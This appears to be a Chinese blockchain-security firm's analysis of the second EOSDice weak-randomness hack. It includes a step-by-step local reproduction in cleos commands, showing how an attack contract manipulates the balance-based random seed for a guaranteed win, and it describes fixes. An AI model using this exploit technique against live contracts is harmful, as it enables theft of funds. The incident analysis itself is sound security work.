点击关注「零时科技」,实时获取区块链安全最新动态!
零时科技监测到,EOSDice在2018年11月10日受到黑客攻击,根据EOSDice官方通告,此次攻击共被盗4,633 EOS,约合 2.51 万美元(2018年11月10日价格 1 EOS ≈ 5.42 USD)。零时科技团队对此漏洞进行了详细的分析及攻击过程复盘,并提出修复建议。
Written by WeaponX@零时科技
本文所有过程均在本地测试节点完成
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
0x00背景
零时科技监测到,EOSDice
EOSDice
官方通告,此次攻击共被盗4,633 EOS
,约合 2.51 万美元(2018年11月10日价格 1 EOS ≈ 5.42 USD)。
0x01技术分析
2018年11月3日,也就是一周前,EOSDice
因为dApp中存在可被预测随机数漏洞被黑客攻击,在前一篇文章中已经分析过了黑客的攻击手法《EOS dApp 漏洞盘点-EOSDice弱随机数漏洞1》。然而,上次的官方修复仍然存在问题,导致再次被黑客攻击。
我们再来分析一下EOSDice
上次遭受攻击后官方的修复方法:
-
开奖
action
由一次defer
改为两次defer
https://github.com/loveblockchain/eosdice/commit/50a05dfb6c0d68b6035ed49d01133b5c2edaefdf
我们做了一个示意图,
可以看到,通过两次defer action
开奖的时候,开奖action
的refer block
为下注的block
,下注前无法预测。
-
账户的余额用很多账户的总和加起来当成随机数种子
https://github.com/loveblockchain/eosdice/commit/3c6f9bac570cac236302e94b62432b73f6e74c3b
本次修改看似无懈可击,不过还有一点EOSDice
官方没有想到。我们来看看eosio.token
的转账代码。
可以看到,当A账户给B账户转账的时候,转账通知会先发送给A账户,再发送给B账户。那么,黑客可以部署一个攻击合约,当黑客通过此账号来进行游戏的时候,攻击合约肯定先于EOSDice
官方合约收到转账通知。黑客可以同样做一个两次defer action
来预测随机数
下图是利用攻击合约预测随机数。
可以看到,黑客完全可以通过攻击合约来预测随机数的结果。不过,问题来了由于使用了两次defer action
进行开奖,那么这个结果是黑客无法在下注前得到的。因此,黑客要对EOSDice
进行攻击只能另辟蹊径。
因为EOSDice
中,随机数种子是很多账户余额的总和,黑客完全可以通过计算能让黑客稳赢的状态下这个余额的值,然后在给任意账户转账即可控制EOSDice
的随机数结果。下面,我们 编写一个测试合约进行试验
在这个攻击合约里,我们模仿了EOSDice
同样进行了两次defer action
。在第二次defer action
中,我们计算出随机数小于6的情况下,需要的总余额比原先的增加多少,然后利用一个inline action
向eosbiggame44
账户转账,因为攻击合约先于EOSDice
官方合约执行,所以最终控制了EOSDice
的随机数结果。
测试流程:
-
创建相关账户并设置权限
# 攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p attacker@owner
# EOSDice 官方账户
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai2222@owner
# 其他需要的账户
cleos create account eosio eosio.ram EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio betdiceadmin EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio newdexpocket EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio chintailease EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbiggame44 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
-
向相关账户充值
cleos push action eosio.token issue '["attacker", "1000.0000 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "232323.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosio.ram", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["betdiceadmin", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["newdexpocket", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["chintailease", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbiggame44", "23.2333 EOS", "1"]' -p eosio
-
编译相关合约并部署
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p attack@owner
# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
-
初始化
EOSDice
合约
cleos push action eosbocai2222 init '[""]' -p eosbocai2222
-
进行游戏
cleos push action eosio.token transfer '["attacker","eosbocai2222","1.0000 EOS", "dice-8-6-user"]' -p attacker@owner
然后,我们来看看测试结果
经过攻击合约多次计算,找到只需要余额比之前多0.0021 EOS
即可让本次投注中奖,然后再向eosbiggame44
转入了0.0021 EOS
,最终中奖,获得了19.7000 EOS
(投入1 EOS
)。
可以看到,利用攻击合约来控制EOSDice
的随机数,可以达到必中的效果!
0x02官方修复
官方修复很简单,在随机数算法中将账户余额这个可控因子删除了。
上述的攻击合约便无法通过转账控制随机数的结果。
0x03推荐修复
如何得到安全的随机数是一个普遍的难题,但是在EOS
上尤其困难,因为EOS
并不提供随机数接口。所以随机数的种子必须得自己选择,选择种子的准则就是无法被提前预知。零时科技安全专家推荐参考EOS
官方的随机数生成方法来生成较为安全的随机数
https://developers.eos.io/eosio-cpp/docs/random-number-generation
0x04REFER
https://developers.eos.io/eosio-cpp/docs/random-number-generation
https://github.com/loveblockchain/eosdice/tree/f1ba04ea071936a8b5ba910b76597544a9e839fa
https://blog.csdn.net/TurkeyCock/article/details/84730045
零时科技
NoneAge
深圳零时科技有限公司,专注于区块链安全领域。公司团队由从事安全技术研究和安全服务多年且经验丰富的高级网络安全专家组成,为客户提供专业的安全服务和安全解决方案。
原文始发于微信公众号(零时科技):EOS dApp 漏洞盘点-EOSDice弱随机数漏洞2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论